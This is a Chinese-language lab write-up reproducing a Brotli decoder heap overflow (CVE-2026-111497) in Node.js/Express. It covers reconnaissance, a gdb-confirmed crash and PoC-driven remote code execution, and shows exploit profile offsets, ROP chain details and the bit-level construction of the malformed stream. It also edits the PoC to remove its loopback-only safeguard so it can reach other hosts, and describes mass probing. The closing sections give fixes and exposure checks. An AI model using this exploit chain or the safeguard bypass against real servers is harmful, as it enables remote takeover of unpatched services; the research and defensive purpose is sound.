CVE-2026-111497 是 Google Brotli 解码器中的堆越界写,2026 年 10 月 21 日由 Node.js 披露,社区将其命名为 node2shell。该问题随后被确认影响 Python、curl、Envoy 等一批使用同一解码器的组件,因此也被称为 HTTP2Shell。CVSS 4.0 评分 9.2,CVSS 3.1 评分 8.1。10 月 27 日,该编号被列入 CISA 的已知在野利用目录。
受影响版本为 Brotli 1.0.3 至 1.2.0,覆盖过去数年间绝大多数发行版与运行时内置的版本。漏洞成立的条件只有一条:程序解压了攻击者能够控制的 Brotli 数据。Node.js 中常见的入口有两处,一是 body-parser 处理带 Content-Encoding: br 的请求体,二是 fetch() 读取带 br 编码的响应内容。两者都不要求业务代码自行编写解压逻辑。
漏洞基础信息
| 漏洞编号 | CVSS 评分 | 影响版本 | 漏洞类型 |
|---|---|---|---|
| CVE-2026-111497 | 9.2(v4.0) | Brotli 1.0.3 至 1.2.0,Node.js 22.23.4、24.22.1、26.12.1 之前 | Brotli 解码器堆越界写,可致 RCE |
Node.js 对该批问题的评级为 high,标题为「Brotli decoder out-of-bounds write permits remote code execution」。公告对成因的描述只有一句:无效的块切换被当作临时性的输入不足,而非永久性格式错误,流式解码器因此继续向内部的 8 字节缓冲区追加输入。
同一解码器被多个产品内置,受影响范围并不限于 Node.js:
| 产品 | 受影响版本 | 修复版本 |
|---|---|---|
| Google Brotli | 1.0.3 至 1.0.9、1.1.0、1.2.0 | 1.0.10、1.1.1、1.2.1 |
| Node.js | 22.x < 22.23.4、24.x < 24.22.1、26.x < 26.12.1 | 22.23.4、24.22.1、26.12.1 |
| Bun | < 1.4.4 | 1.4.4 |
| .NET / PowerShell | 内置 Brotli 副本 | 10 月 25 日带外更新 |
| Python(requests、httpx、aiohttp 等经 libbrotli) | 随发行版 | 发行版与厂商补丁 |
| Envoy、Istio | 内置 Brotli | 10 月 26 日前后 |
| WordPress(经 libcurl) | 系统 libbrotli | 升级系统库 |
漏洞复现
环境搭建
靶标采用 PoC 仓库自带的 Express 实验室,基础镜像以 digest 固定:
┌──(kali㉿kali)-[~]└─$ grep 'ARG NODE_IMAGE' lab/v24.22.0/express-body-parser/DockerfileARG NODE_IMAGE=node@sha256:925de64a85319052d6971ae81ef2417da956e8a3a2c4a0fac732327970f017f5Express 是 Node.js 上的 Web 框架,其默认请求体解析中间件为 body-parser。靶标仅包含两个路由:
const express = require('express');const app = express();app.get('/health', (_request, response) => response.end('PONG\n'));app.post('/upload', express.json(), (_request, response) => response.end('DONE\n'));app.use((error, _request, response, _next) => { response.status(400).end(`ERR ${error.code || error.type || error.message}\n`);});app.listen(3000, '0.0.0.0');/upload 使用 express.json() 解析请求体,该步骤由 body-parser 完成。构建与启动均在靶机上执行。容器内的进程由一层循环拉起,进程终止后会被重新启动,这一点在后续验证中会用到:
┌──(kali㉿kali)-[~]└─$ sudo docker build --pull -t cve-2026-111497-lab:v24.22.0-express \ -f lab/v24.22.0/express-body-parser/Dockerfile lab/v24.22.0/express-body-parser
└─$ sudo docker images --format '{{.Repository}}:{{.Tag}} {{.ID}}' | grep cve-2026-111497cve-2026-111497-lab:v24.22.0-express 8ecdeef9dac7
└─$ sudo docker run -d --name cve-111497-express --entrypoint sh \ -e UV_THREADPOOL_SIZE=1 -p 3000:3000 cve-2026-111497-lab:v24.22.0-express \ -lc "while true; do node /app/server.js; sleep 0.1; done"
└─$ curl -s -i http://127.0.0.1:3000/health | head -3HTTP/1.1 200 OKX-Powered-By: ExpressUV_THREADPOOL_SIZE=1 属于靶标设定的一部分,PoC 的堆布局按单线程池标定。
目标探测
首先确定开放的端口。从攻击机执行全端口扫描:
┌──(kali㉿kali)-[~]└─$ sudo nmap -sS -Pn -T4 -sV -p- --script "default,vulners" 192.168.31.148
Nmap scan report for 192.168.31.148Host is up (0.00060s latency).Not shown: 65533 closed tcp ports (reset)PORT STATE SERVICE VERSION22/tcp open ssh OpenSSH 10.2p1 Debian 6 (protocol 2.0)| vulners:| cpe:/a:openbsd:openssh:10.2p1:| CVE-2026-60002 9.4 https://vulners.com/cve/CVE-2026-60002| …(其余 26 条为 2026 年的条目,只按版本号匹配,略)3000/tcp open http Node.js Express frameworkMAC Address: 00:0C:29:B3:23:74 (VMware)
# Nmap done at Wed Nov 4 04:59:15 2026 -- 1 IP address (1 host up) scanned in 17.32 seconds对外仅开放 SSH 与 3000,无防火墙拦截。nmap 依据 X-Powered-By: Express 等响应特征将 3000 识别为 Node.js Express framework,未给出具体版本号。
其次确认站点的功能范围:
┌──(kali㉿kali)-[~]└─$ curl -s -i http://192.168.31.148:3000/ | head -6HTTP/1.1 404 Not FoundX-Powered-By: ExpressContent-Security-Policy: default-src 'none'Content-Type: text/html; charset=utf-8Content-Length: 139
└─$ curl -s http://192.168.31.148:3000/healthPONG
└─$ curl -s -X POST -H "Content-Type: application/json" -d '{"a":1}' http://192.168.31.148:3000/uploadDONE根路径返回 Express 默认 404 页;/health 返回 PONG;/upload 仅接受 POST,请求体解析后即被丢弃,路由本身不处理任何业务。
既然是 Node 应用,继续尝试常见的版本泄露路径:
┌──(kali㉿kali)-[~]└─$ curl -s -I http://192.168.31.148:3000/health | head -6HTTP/1.1 200 OKX-Powered-By: ExpressDate: Wed, 04 Nov 2026 03:44:37 GMTConnection: keep-aliveKeep-Alive: timeout=5
└─$ for p in package.json node_modules/node/package.json .nvmrc server-info; do printf '%-32s %s\n' "$p" "$(curl -s -o /dev/null -w '%{http_code} %{size_download}' http://192.168.31.148:3000/$p)" donepackage.json 404 151node_modules/node/package.json 404 169.nvmrc 404 145server-info 404 150响应头中既无 Server 字段,也无任何携带版本号的字段;几个常见的构建信息文件均返回 404。版本信息无法通过该路径获得。
最后确认攻击面。业务逻辑本身没有可利用之处,值得关注的是 /upload 会将请求体交由中间件解析,而该中间件支持压缩编码。HTTP 允许客户端压缩请求体发送,并通过 Content-Encoding 声明所用算法,由服务端负责解压。发送一段非 Brotli 数据并声明 Content-Encoding: br:
┌──(kali㉿kali)-[~]└─$ printf "garbage" > /tmp/bad.br└─$ curl -s -i -X POST -H "Content-Type: application/json" -H "Content-Encoding: br" \ --data-binary @/tmp/bad.br http://192.168.31.148:3000/upload | head -8HTTP/1.1 400 Bad RequestX-Powered-By: ExpressContent-Length: 32
ERR ERR__ERROR_FORMAT_PADDING_1返回值为 Brotli 解码器自身的错误枚举,说明这段字节确实进入了解码器,且输入内容完全由攻击者控制。至此攻击面确定。
漏洞验证
第一次验证解码器确实在解压所发送的数据。node 自带 zlib,brotliCompressSync() 生成的是标准 Brotli 流,压缩一段 JSON 后仅 11 字节:
┌──(kali㉿kali)-[~]└─$ cat > /tmp/mkbr.js <<'JS'const z = require("zlib"), fs = require("fs");fs.writeFileSync("/tmp/ok.br", z.brotliCompressSync(Buffer.from(JSON.stringify({a:1}))));console.log("wrote", fs.statSync("/tmp/ok.br").size);JS└─$ node /tmp/mkbr.jswrote 11
└─$ curl -s -i -X POST -H "Content-Type: application/json" -H "Content-Encoding: br" \ --data-binary @/tmp/ok.br http://192.168.31.148:3000/upload | head -3HTTP/1.1 200 OK合法流被正常解开,JSON 解析通过,返回 200。
第二次验证畸形流对进程的影响。PoC 中负责发送触发流的是 http_body_attack(),它调用 trigger_stages() 生成两段流,按 chunked 方式发送,中间间隔 0.5 秒。外层加入健康检查即可判断进程是否终止:
import os, socket, sys, timeos.environ["POC_ALLOW_LAN"] = "1"sys.path.insert(0, "/home/kali/node2shell")import poc_lan as N
profile = N.load_profiles()["node-24.22.0-express-5.3.0-bookworm-x86_64"]targets = N.resolve_loopback("192.168.31.148", 3000)
def health(): try: s = socket.create_connection(("192.168.31.148", 3000), timeout=2) s.sendall(b"GET /health HTTP/1.1\r\nHost: x\r\nConnection: close\r\n\r\n") ok = b"200" in s.recv(64) s.close() return ok except OSError: return False
print("before:", health())try: N.http_body_attack(profile, targets, 10)except OSError as exc: print("trigger aborted:", type(exc).__name__)
down = 0for _ in range(20): if not health(): down += 1 time.sleep(0.1)print("down samples:", down)print("after 1s:", health())poc_lan 是 poc.py 放开回环限制后的副本,具体改动见漏洞利用一节。脚本中自行实现的部分只有 health(),每 100 毫秒请求一次 /health。
┌──(kali㉿kali)-[~]└─$ python3 /tmp/crash_demo.pybefore: Truedown samples: 3after 1s: True20 次采样中有 3 次连接失败,对应进程终止到被重新启动之间的窗口。重复执行时该数值在 2 到 3 之间波动。靶机日志如下:
┌──(kali㉿kali)-[~]└─$ sudo docker logs --tail 4 cve-111497-expressSegmentation faultSegmentation faultSegmentation faultSegmentation fault此时只能确认进程终止,无法确认崩溃位置。要让 node 运行在调试器下,需要一个包含 gdb 的镜像:
┌──(kali㉿kali)-[~]└─$ cat > /tmp/Dockerfile.gdb <<'EOF'FROM cve-2026-111497-lab:v24.22.0-expressUSER rootRUN apt-get update && apt-get install -y --no-install-recommends gdbEOF└─$ sudo docker build -q -t n2s-gdb -f /tmp/Dockerfile.gdb /tmpsha256:6b173dc7fbc1860de2751d2a2c792a5b6674cd4cb6d7b7ba6fc20985e7a6efd1
└─$ sudo docker run -d --name n2s-gdb --cap-add=SYS_PTRACE -p 3002:3000 \ --entrypoint gdb n2s-gdb -q -batch -ex run -ex "bt 12" --args node /app/server.jsgdb 启动 node 后,从攻击机向 3002 端口发送同一段触发流。进程收到 SIGSEGV 时 gdb 自动输出调用栈:
┌──(kali㉿kali)-[~]└─$ sudo docker logs n2s-gdb 2>&1 | tail -8Thread 9 "libuv-worker" received signal SIGSEGV, Segmentation fault.[Switching to Thread 0x7fc0ad7ee6c0 (LWP 26)]0x000000000238a197 in ProcessCommands ()#0 0x000000000238a197 in ProcessCommands ()#1 0x000000000238c7c0 in BrotliDecoderDecompressStream ()#2 0x0000000000adb61b in node::(anonymous namespace)::BrotliDecoderContext::DoThreadPoolWork() ()#3 0x00000000008b9de4 in node::ThreadPoolWork::ScheduleWork()::{lambda(uv_work_s*)#1}::_FUN(uv_work_s*) ()#4 0x0000000001a2f260 in worker (arg=0x0) at ../deps/uv/src/threadpool.c:123#5 0x00007fc0ed1321f5 in ?? () from /lib/x86_64-linux-gnu/libc.so.6#6 0x00007fc0ed1b1b50 in clone () from /lib/x86_64-linux-gnu/libc.so.6崩溃点位于 ProcessCommands,其调用者为 BrotliDecoderDecompressStream,线程为 libuv 的 worker。至此可以确认,这段几十字节的数据流确实导致 Brotli 解码器崩溃,而非其他原因引起的进程退出。
第三次为完整利用,见下一节。
漏洞利用
利用脚本为 PoC 仓库中的 poc.py,分为三部分:profiles.json 保存各构建的偏移,生成函数负责构造 Brotli 流,最外层函数按时间顺序发送请求并判定结果。
由于版本无法获取,只能以 profile 作为探针。每份 profile 对应一个具体构建,堆偏移、落点与第二段长度均按该二进制标定,更换构建即不成立。按候选依次尝试,哪一份产出 id 输出,即可确定目标对应的构建。
profile 内容如下:
┌──(kali㉿kali)-[~]└─$ python3 -c "import json;print(json.dumps(json.load(open('profiles.json'))['profiles']['node-24.22.0-express-5.3.0-bookworm-x86_64']['probe'],indent=1))"{ "transport": "http-express-socket-rce", "port": 3000, "content_type": "application/json", "prefix_size": 1031, "copy_source_offset": "0x367", "command_block_extra": "0xffffff", "second_stage_size": 256, "stage_delay_seconds": 0.5, "restart_timeout_seconds": 8.0, "attempts": 16, "staged_positions": ["0x137ed748"], "accepted_socket_fd": 19}prefix_size 为越界写搬运的可控数据长度,copy_source_offset 为该数据在流中的起始偏移,staged_positions 为推测的落点。accepted_socket_fd 取 19 并非固定常数:监听 socket、日志与 libuv 事件占用的描述符会改变编号,19 是在该容器中实测得到的值,启动顺序不同则取值不同。
流的生成分为两层。generate_stream() 构造触发无效块切换的最小畸形流,启动时以 sha256 校验其未被修改,期望值为 b7a6508e…。generate_rce_stream(prefix, extra) 在该流基础上编入 1031 字节前缀。
前缀由 express_socket_rce_stages() 构造。起始两条指令为 mov rax, rdi; ret 与 pivot rsp, rax+0x30,用于将栈迁移至前缀;其后的链依次为 pop rsi、pop rbx、pop rdi 加 19、dup2 的 PLT 地址、execvp 的调用点,末尾写入 /usr/bin/id。所有偏移均来自 profile。
发包由 http_express_socket_rce_attack() 负责,每轮执行四步:
- 等待
/health返回 200,确认当前 node 进程为新启动的实例。 - 建立连接,按 chunked 发送第一段:请求头携带
Content-Encoding: br与Content-Type: application/json,第一块 body 为前缀与跳转链。 - 间隔 0.5 秒后发送第二段
rce_stage_two(pos, 256)。该 256 字节中第 7 个字节为 8,偏移 15 处为落点地址,其后两个字段填入0x7FFFFFFF。 - 读取该连接上的响应,以正则匹配
uid=… gid=…。
未命中时的处理同样在该循环中:调用 http_body_attack() 再发送一次崩溃流,以 wait_http_unhealthy() 确认旧进程已终止,再以 wait_http_healthcheck() 等待新进程就绪,随后在新的地址布局下进入下一轮。默认 16 轮。
参考实现仅允许连接本机回环,限制位于 resolve_loopback() 中。跨主机利用需要放开该限制,本文复制了一份 poc_lan.py:
if normalized_host not in ALLOWED_TARGET_HOSTS:if normalized_host not in ALLOWED_TARGET_HOSTS and not os.environ.get("POC_ALLOW_LAN"):三次执行分别在第 1、4、9 轮命中。第一次的记录如下:
┌──(kali㉿kali)-[~]└─$ POC_ALLOW_LAN=1 python3 poc_lan.py --profile node-24.22.0-express-5.3.0-bookworm-x86_64 \ --host 192.168.31.148 --port 3000 --timeout 30 --attempts 50attempt=1/50 staged_position=0x137ed748PASS: RCE verified by fresh id output through the declared interfaceprofile=node-24.22.0-express-5.3.0-bookworm-x86_64proof_channel=HTTP request socket stdoutproof_command=idproof_stdout=uid=1000(node) gid=1000(node) groups=1000(node)successful_attempt=1另外两次在同一靶标上重跑,命中轮次分别是第 4 轮与第 9 轮:
┌──(kali㉿kali)-[~]└─$ POC_ALLOW_LAN=1 python3 poc_lan.py --profile node-24.22.0-express-5.3.0-bookworm-x86_64 \ --host 192.168.31.148 --port 3000 --timeout 30 --attempts 50# 中间省略若干 attempt 行PASS: RCE verified by fresh id output through the declared interfaceproof_stdout=uid=1000(node) gid=1000(node) groups=1000(node)successful_attempt=4
└─$ POC_ALLOW_LAN=1 python3 poc_lan.py --profile node-24.22.0-express-5.3.0-bookworm-x86_64 \ --host 192.168.31.148 --port 3000 --timeout 30 --attempts 50# 中间省略若干 attempt 行PASS: RCE verified by fresh id output through the declared interfaceproof_stdout=uid=1000(node) gid=1000(node) groups=1000(node)successful_attempt=9轮次并不固定,说明结果并非偶然,id 的输出确实由目标进程执行命令后写回连接。
作为对照,同一段触发流发送至修复版本。启动 24.22.1 容器并监听 3001,以相同函数发送:
┌──(kali㉿kali)-[~]└─$ sudo docker run -d --name cve-111497-patched -p 3001:3000 cve-2026-111497-lab:v24.22.1-express└─$ python3 - <<'PY'import os, sysos.environ["POC_ALLOW_LAN"] = "1"sys.path.insert(0, "/home/kali/node2shell")import poc_lan as Nprof = N.load_profiles()["node-24.22.0-express-5.3.0-bookworm-x86_64"]resp = N.http_body_attack(prof, N.resolve_loopback("192.168.31.148", 3001), 10)print(resp.decode("latin-1"))PYHTTP/1.1 400 Bad RequestX-Powered-By: ExpressConnection: closeContent-Length: 35
ERR ERR__ERROR_FORMAT_BLOCK_SWITCH修复版本在块切换处停止,返回明确的格式错误,进程继续提供服务。该错误码同样可以作为检测特征。
复现结束后,靶标容器 cve-111497-express 仍在 3000 端口运行,调试用的 n2s-gdb 与补丁版本实例已删除。攻击流量从 192.168.31.152 直达靶机,未经跳板,服务端返回的 400 响应与崩溃记录都会留在靶机的日志里。
漏洞核心原理
越界写的成因
Brotli 数据按元块(meta-block)组织,元块开头包含块类型与块切换指令。解码器在解析过程中维护三个块的剩余长度 block_length[0..2],分别对应字面量、插入拷贝与距离。当某个长度归零时,解码器读取下一个块切换指令。
读取切换指令的函数为 DecodeBlockTypeAndLength()。其开头的类型检查是完整的:
if (max_block_type <= 1) { return BROTLI_DECODER_ERROR_FORMAT_BLOCK_SWITCH;}但后续的块长度读取使用「安全读取」逻辑,读取失败时返回的是 BROTLI_DECODER_NEEDS_MORE_INPUT:
if (!SafeReadBlockLength(s, &s->block_length[tree_type], len_tree, br)) { s->substate_read_block_length = BROTLI_STATE_READ_BLOCK_LENGTH_NONE; BrotliBitReaderRestoreState(br, &memento); return BROTLI_DECODER_NEEDS_MORE_INPUT;}调用方 ProcessCommandsInternal() 通过 BROTLI_SAFE_WITH_STATUS 将该状态原样返回,认为只是数据不足,等待下一次调用补齐。
解码器内部有一块 8 字节的输入暂存区:
union { uint64_t u64; uint8_t u8[8];} buffer;brotli_reg_t buffer_length;
int pos;int max_backward_distance;int max_distance;每次调用进入时,未读完的字节会被追加到该数组:
BROTLI_DCHECK(s->buffer_length < 8);s->buffer.u8[s->buffer_length] = **next_in;s->buffer_length++;BROTLI_DCHECK 仅在启用调试时生效,发布版本中该行不做任何检查。状态机持续认为输入不足,调用方持续提供数据,buffer_length 超过 8 后,写入位置落在紧随其后的字段上:先是 buffer_length 自身,随后是 pos、max_backward_distance 与 max_distance。
这些字段决定解码器从环形缓冲的哪个位置读取、最多可回退多远。被覆盖后,后续拷贝操作随之偏移,写入位置由攻击者提供的字节决定。
前面 gdb 捕获的崩溃点位于 ProcessCommands,正是使用这些字段的位置,与该路径一致。

从越界写到代码执行
越界写本身只是写错位置。要走到执行命令,还需三个条件同时成立:写出的内容可控、落点是被调用的指针、能够迁移栈。
PoC 采用堆对象覆盖。第一段请求先将 1031 字节前缀准备好,越界写将其整体复制到缓冲区之后的固定偏移处,覆盖目标对象。该对象下一次被调用时,指针已被替换为 mov rax, rdi; ret,rdi 指向对象自身,rax 中即为攻击者可控内存的地址。第二条 pivot rsp, rax+0x30 将栈指针迁移过去,随后执行 ROP 链。
ROP 是应对地址随机化的手段:ASLR 使每次进程启动后库的加载地址不同,无法直接调用某个函数,只能将地址已知的短指令序列按顺序串联执行。此处最终需要完成的动作很少:将当前请求的 socket 复制到标准输出,随后以 execve 执行命令。

为什么需要多轮尝试
堆越界写的落点依赖当时的堆布局,地址又受 ASLR 影响,每一轮进程启动后的随机化结果均不相同。PoC 将位置固定为一个候选值,命中则成功,未命中则触发段错误。
段错误本身也有利用价值:容器内的重启循环会重新启动 node,新进程带有新的地址布局。PoC 在每次失败后主动发送一次崩溃请求,待健康检查失败、新进程就绪后进入下一轮。profile 默认 16 轮,实测三次分别在第 1、第 4 与第 9 轮命中。
真实环境中的可利用性差异较大。Node.js 将该问题定为 high,理由是触发条件简单,只要解压不可信数据即有机会;但稳定利用需要特定的构建、线程模型与堆状态。PoC 作者在 README 中亦说明:RCE 结果只对三个精确的 Linux x86-64 实验室成立。
附:触发流的构造
本节说明畸形流的构造方式,仅需复现的读者可以跳过。以下字段名与取值对照 RFC 7932 第 9.1 节(流头)与第 9.2 节(元块头),位流按小端写入,与规范中「位从右到左解析」的约定一致。
bits.put(1, 1); bits.put(0, 3) # WBITS = 17bits.put(2, 3) # ISLAST = 0,MNIBBLES = 6bits.put(0xFFFFFF, 24); bits.put(0, 1) # MLEN - 1,ISUNCOMPRESSED = 0
varlen_u8(bits, 0); varlen_u8(bits, 1); varlen_u8(bits, 0) # NBLTYPESL=1、NBLTYPESI=2、NBLTYPESD=1one_symbol_tree(bits, 4, 0) # I&C 块类型码表,4 个符号one_symbol_tree(bits, 26, 25) # I&C 块计数码表,26 个符号,取第 25 号bits.put(0xFFFFFF, 24) # 第一个 I&C 块计数的 24 位额外值
bits.put(3, 6); bits.put(0, 2) # NPOSTFIX = 3、NDIRECT = 0,字面量上下文模式varlen_u8(bits, 0); varlen_u8(bits, 0) # NTREESL = 1、NTREESD = 1
one_symbol_tree(bits, 256, 0) # 字面量树one_symbol_tree(bits, 704, 130) # 第一张插入拷贝树one_symbol_tree(bits, 704, 130) # 第二张插入拷贝树one_symbol_tree(bits, 400, 184) # 距离树逐项说明。
WBITS 写作 1 加三位 0,按 §9.1 的变长编码为 17,窗口大小为 128KB。
MNIBBLES 取 6,表示后续长度字段占 6 个半字节,即 24 位。紧随其后的 0xFFFFFF 为 MLEN - 1,因此该元块声明输出 16MB 数据;ISUNCOMPRESSED 为 0,表示数据经过压缩。
三个 varlen_u8 对应字面量、插入拷贝、距离三类块的块类型数量,分别为 1、2、1。插入拷贝有 2 个块类型,因此需额外写入一套块类型码表与块计数码表,即 one_symbol_tree(4, 0) 与 one_symbol_tree(26, 25)。其后的 24 位为第一个插入拷贝块的计数,取值 0xFFFFFF 表示该块包含 2 的 24 次方条命令。
NPOSTFIX = 3、NDIRECT = 0 决定距离码表大小:16 + (48 左移 3 位) = 400,与最后一张 one_symbol_tree(400, 184) 对应。其间的 2 位为字面量上下文模式。
四张树均只含一个符号。one_symbol_tree() 先写两位 1 表示简单前缀码,再写两位表示符号数减一,最后按字母表宽度写入符号值。解码器获得此类码表后,每个待解码字段只有唯一结果,无需真实数据即可推进状态。
具体触发点尚未从源码逐位还原。公开分析的说法是:距离块剩余长度耗尽后,解码器读取块切换指令失败,该状态被当作「需要更多输入」,而这一分支本应返回格式错误。
第二段流由 trigger_stages() 生成,长度 127 字节:第 7 个字节为 8,偏移 15 处为 0x7FFFFFFF,偏移 19 与 23 处同为 0x7FFFFFFF。解码器将这些字段解读为仍有极长数据待处理,后续每个输入字节均被追加至 8 字节暂存区。两段之间间隔 0.5 秒,使解码器先接收第一段的状态,第二段到达时沿该状态继续写入。
修复方案
升级至修复版本:
- Node.js 22.23.4、24.22.1、26.12.1
- Bun 1.4.4
- Google Brotli 1.0.10、1.1.1、1.2.1
- 其它语言与发行版见前述影响面表
补丁后的行为可直接观察:同样的畸形流发送至修复版本,请求以 400 结束,响应体为 ERR__ERROR_FORMAT_BLOCK_SWITCH,进程不终止。该错误码可作为检测特征。
自查是否暴露
服务端是否解压 Brotli 可直接验证。携带 Content-Encoding: br 发送一段无意义字节,若返回 400 且响应体包含 ERR__ERROR_FORMAT 一类的解码器错误码,说明请求确实进入 Brotli 解码器;若返回 415 或原样接收,说明未解压。
Node 侧可在本地查询:
┌──(kali㉿kali)-[~]└─$ node -p "process.version + ' brotli=' + process.versions.brotli"v24.22.0 brotli=1.2.0Express 的 body-parser 默认开启 inflate,接受 gzip、deflate 与 br 三种压缩。不需要压缩请求体的服务可将其关闭:
app.use(express.json({ inflate: false }));关闭后带压缩头的请求直接返回 415(body-parser 中的 content encoding unsupported),不会进入解码器。以同样的应用加 inflate: false 启动一个实例验证:
┌──(kali㉿kali)-[~]└─$ sudo docker run -d --name n2s-415 -p 3003:3000 --entrypoint node \ cve-2026-111497-lab:v24.22.0-express -e "const e=require('/app/node_modules/express');\const a=e();a.use(e.json({inflate:false}));a.post('/u',(q,r)=>r.end('OK'));a.listen(3000,'0.0.0.0')"
└─$ curl -s -i -X POST -H "Content-Type: application/json" -H "Content-Encoding: br" \ --data-binary 'garbage' http://127.0.0.1:3003/u | head -2HTTP/1.1 415 Unsupported Media TypeX-Powered-By: Express需要在网关层收窄的,可将 Content-Encoding 白名单限制为业务实际使用的算法。
批量排查可使用探测流:向候选目标发送若干携带 Content-Encoding: br 的请求体,观察返回解码器错误码的主机。公开分析中记录过类似手法,一次发送 20 个 body、分两批进行,用于判断哪些主机在解压 Brotli。
临时缓解
无法立即升级时,最直接的措施是不解压不可信的 Brotli。前述 inflate: false 或网关白名单均属此类。
限制请求体大小可降低成功率,但不能根治,越界写只需要几十字节的数据流。
已 EOL 的 Node.js 18 与 20 不再提供常规补丁,Aikido 等厂商提供了预修补的镜像。
参考链接
- Node.js 安全公告:October 2026 Security Releases
- 漏洞成因与影响面梳理:Aikido: Node2Shell evolves to HTTP2Shell
- 修复版本与暴露面检查:Cycode: node2shell / HTTP2Shell
- 复现与利用代码:dimasma0305/CVE-2026-111497-POC
- 独立分析与实验环境:Arkango/CVE-2026-111497
- Brotli 解码器源码:google/brotli c/dec/decode.c
- Brotli 数据格式:RFC 7932